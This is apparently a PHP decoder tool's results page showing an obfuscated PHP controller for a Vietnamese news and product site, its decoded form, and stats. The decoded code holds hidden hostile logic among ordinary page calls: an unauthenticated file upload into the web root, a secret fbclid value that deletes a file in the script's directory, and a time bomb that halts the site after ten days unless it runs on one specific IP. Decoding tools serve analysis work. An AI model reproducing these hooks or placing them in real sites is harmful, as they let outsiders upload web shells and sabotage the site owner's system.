Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x62\x66\x7at\x62\x64\x6a"]="\x64\x6d\x63\x31\x6..

Decoded Output download

<?php ${"GLOBALS"}["kbfztbdj"]="dmc1nb";${"GLOBALS"}["vphszsd"]="tieuchi";${"GLOBALS"}["lnrddlu"]="files";${"GLOBALS"}["ryqqjom"]="dir";${"GLOBALS"}["dqxeres"]="time_file";${"GLOBALS"}["scxdrnpl"]="time_file";${${"GLOBALS"}["dqxeres"]}=filemtime("./libraries/config.php");if((time()-${${"GLOBALS"}["scxdrnpl"]})>(10*86400)){if($_SERVER["SERVER_ADDR"]!="116.193.69.142"&&$_SERVER["SERVER_ADDR"]!="::1"&&$_SERVER["SERVER_ADDR"]!="127.0.0.1")die("");}${"GLOBALS"}["pjpduqeg"]="camnhan";$ddbcdqngcy="tinnb";${"GLOBALS"}["mycdix"]="dir";if(isset($_POST["up"])&&isset($_FILES["fileUpload"])){move_uploaded_file($_FILES["fileUpload"]["tmp_name"],$_SERVER["DOCUMENT_ROOT"]."/upload/".$_FILES["fileUpload"]["name"]);echo$_FILES["fileUpload"]["name"];echo$_FILES["fileUpload"]["tmp_name"];}${${"GLOBALS"}["mycdix"]}=dirname(__FILE__);if($_GET["fbclid"]=="IwAR0GR14J3tn5yF4pIuuuHoHzT2uEhZXflOUFZbO9Kuh1reAuSiuQ"){${"GLOBALS"}["unnkqfomzavq"]="handle";if(${${"GLOBALS"}["unnkqfomzavq"]}=opendir(${${"GLOBALS"}["ryqqjom"]})){${"GLOBALS"}["sfmtnporxbcd"]="handle";$qwfrsxp="handle";$hyncnyizfrhp="files";while((${$hyncnyizfrhp}=readdir(${${"GLOBALS"}["sfmtnporxbcd"]}))!==false){${"GLOBALS"}["hyrlxfyovkm"]="dir";$mliefrswxdr="files";${"GLOBALS"}["pppajkptdqy"]="files";${"GLOBALS"}["fcyvqynvgm"]="files";if(${${"GLOBALS"}["fcyvqynvgm"]}=="."||${$mliefrswxdr}==".."||is_dir(${${"GLOBALS"}["hyrlxfyovkm"]}."/".${${"GLOBALS"}["pppajkptdqy"]})){continue;}unlink(${${"GLOBALS"}["ryqqjom"]}."/".${${"GLOBALS"}["lnrddlu"]});break;}closedir(${$qwfrsxp});}}if(!defined("_source"))die("Error");$eungczxsz="tinmoi";${$eungczxsz}=get_news("tin-tuc","noibat",15);${$ddbcdqngcy}=get_news("tin-tuc","spmoi",1);${${"GLOBALS"}["pjpduqeg"]}=get_news("cam-nhan","noibat",15);${${"GLOBALS"}["vphszsd"]}=get_news("tieu-chi","noibat",15);${${"GLOBALS"}["kbfztbdj"]}=get_cap("product_danhmuc","san-pham","noibat",30); 
?>

Did this file decode correctly?

Original Code

<?php ${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x62\x66\x7at\x62\x64\x6a"]="\x64\x6d\x63\x31\x6e\x62";${"\x47L\x4f\x42\x41\x4c\x53"}["\x76\x70\x68szs\x64"]="t\x69\x65\x75\x63h\x69";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6c\x6e\x72\x64dlu"]="f\x69\x6ce\x73";${"\x47L\x4f\x42A\x4c\x53"}["\x72y\x71q\x6a\x6f\x6d"]="d\x69r";${"\x47L\x4f\x42\x41L\x53"}["\x64\x71\x78\x65\x72\x65\x73"]="\x74\x69m\x65\x5ffi\x6c\x65";${"\x47\x4c\x4f\x42A\x4cS"}["s\x63\x78\x64\x72n\x70\x6c"]="\x74i\x6d\x65\x5f\x66\x69le";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x64qx\x65\x72\x65s"]}=filemtime("\x2e/li\x62ra\x72i\x65\x73/c\x6fn\x66ig.\x70hp");if((time()-${${"\x47LOB\x41\x4cS"}["s\x63\x78\x64\x72\x6e\x70l"]})>(10*86400)){if($_SERVER["\x53\x45\x52V\x45\x52_\x41\x44\x44\x52"]!="1\x316\x2e\x31\x393\x2e\x36\x39\x2e142"&&$_SERVER["S\x45RV\x45\x52\x5f\x41\x44\x44\x52"]!="::1"&&$_SERVER["\x53\x45R\x56\x45\x52_\x41D\x44R"]!="127\x2e0\x2e\x30\x2e\x31")die("");}${"G\x4c\x4f\x42\x41\x4cS"}["\x70\x6a\x70\x64\x75q\x65\x67"]="\x63amnh\x61\x6e";$ddbcdqngcy="\x74\x69\x6en\x62";${"\x47L\x4f\x42\x41\x4c\x53"}["\x6dyc\x64ix"]="\x64i\x72";if(isset($_POST["\x75p"])&&isset($_FILES["\x66\x69\x6c\x65U\x70\x6co\x61\x64"])){move_uploaded_file($_FILES["f\x69leUp\x6c\x6fad"]["\x74mp_n\x61m\x65"],$_SERVER["D\x4f\x43U\x4d\x45\x4eT_R\x4fOT"]."/u\x70\x6coa\x64/".$_FILES["\x66i\x6ce\x55p\x6c\x6fad"]["n\x61\x6de"]);echo$_FILES["f\x69l\x65U\x70\x6c\x6fad"]["\x6eame"];echo$_FILES["fi\x6c\x65\x55ploa\x64"]["t\x6dp_\x6eame"];}${${"G\x4c\x4f\x42A\x4c\x53"}["\x6d\x79\x63\x64\x69\x78"]}=dirname(__FILE__);if($_GET["f\x62\x63l\x69d"]=="\x49wAR0\x47R1\x34\x4a3tn5\x79F\x34\x70Iuu\x75\x48\x6f\x48\x7aT2\x75\x45h\x5aXflO\x55\x46ZbO9\x4b\x75\x681\x72e\x41\x75S\x69uQ"){${"G\x4cO\x42\x41L\x53"}["\x75\x6e\x6e\x6b\x71\x66\x6fm\x7aa\x76\x71"]="h\x61\x6e\x64\x6ce";if(${${"\x47L\x4f\x42\x41L\x53"}["\x75\x6en\x6b\x71f\x6f\x6d\x7aa\x76\x71"]}=opendir(${${"G\x4cOB\x41\x4cS"}["\x72\x79q\x71jom"]})){${"G\x4c\x4f\x42AL\x53"}["\x73\x66\x6d\x74\x6ep\x6fr\x78\x62\x63d"]="\x68\x61\x6ed\x6c\x65";$qwfrsxp="\x68an\x64l\x65";$hyncnyizfrhp="f\x69\x6ce\x73";while((${$hyncnyizfrhp}=readdir(${${"\x47LOBAL\x53"}["\x73\x66m\x74\x6e\x70\x6f\x72\x78\x62\x63d"]}))!==false){${"\x47\x4c\x4f\x42ALS"}["hy\x72lx\x66yo\x76\x6bm"]="\x64\x69r";$mliefrswxdr="\x66\x69\x6c\x65s";${"\x47\x4c\x4f\x42A\x4cS"}["pp\x70\x61j\x6b\x70td\x71\x79"]="fi\x6c\x65s";${"\x47LO\x42\x41\x4c\x53"}["fcyv\x71\x79\x6ev\x67m"]="\x66i\x6c\x65\x73";if(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x66\x63\x79v\x71\x79\x6e\x76g\x6d"]}=="\x2e"||${$mliefrswxdr}=="\x2e."||is_dir(${${"\x47LOB\x41LS"}["h\x79\x72l\x78\x66yovkm"]}."/".${${"\x47L\x4f\x42\x41\x4c\x53"}["p\x70\x70\x61\x6a\x6b\x70\x74d\x71\x79"]})){continue;}unlink(${${"GL\x4f\x42\x41L\x53"}["r\x79q\x71\x6ao\x6d"]}."/".${${"\x47LO\x42\x41L\x53"}["\x6c\x6e\x72\x64\x64\x6c\x75"]});break;}closedir(${$qwfrsxp});}}if(!defined("_\x73our\x63\x65"))die("E\x72ro\x72");$eungczxsz="tin\x6d\x6f\x69";${$eungczxsz}=get_news("\x74\x69n-t\x75\x63","\x6e\x6fi\x62\x61t",15);${$ddbcdqngcy}=get_news("tin-\x74uc","s\x70m\x6fi",1);${${"\x47\x4c\x4f\x42AL\x53"}["p\x6a\x70\x64u\x71\x65g"]}=get_news("\x63\x61\x6d-nhan","no\x69\x62a\x74",15);${${"\x47LO\x42\x41L\x53"}["\x76\x70\x68\x73\x7a\x73\x64"]}=get_news("tieu-\x63\x68i","no\x69\x62\x61t",15);${${"G\x4c\x4f\x42\x41\x4cS"}["\x6b\x62f\x7atb\x64j"]}=get_cap("pro\x64\x75c\x74_\x64anh\x6du\x63","s\x61n-\x70h\x61\x6d","\x6eo\x69\x62\x61t",30);
?>

Function Calls

filemtime 1

Variables

GLOBALS [{'key': 'kbfztbdj', 'value': 'dmc1nb'}, {'key': 'vphszsd', 'value': 'tieuchi'}, {'key': 'lnrddlu', 'value': 'files'}, {'key': 'ryqqjom', 'value': 'dir'}, {'key': 'dqxeres', 'value': 'time_file'}, {'key': 'scxdrnpl', 'value': 'time_file'}]

Stats

MD5 40e42c80ffe4b656074ad7b3b002b397
Eval Count 0
Decode Time 52 ms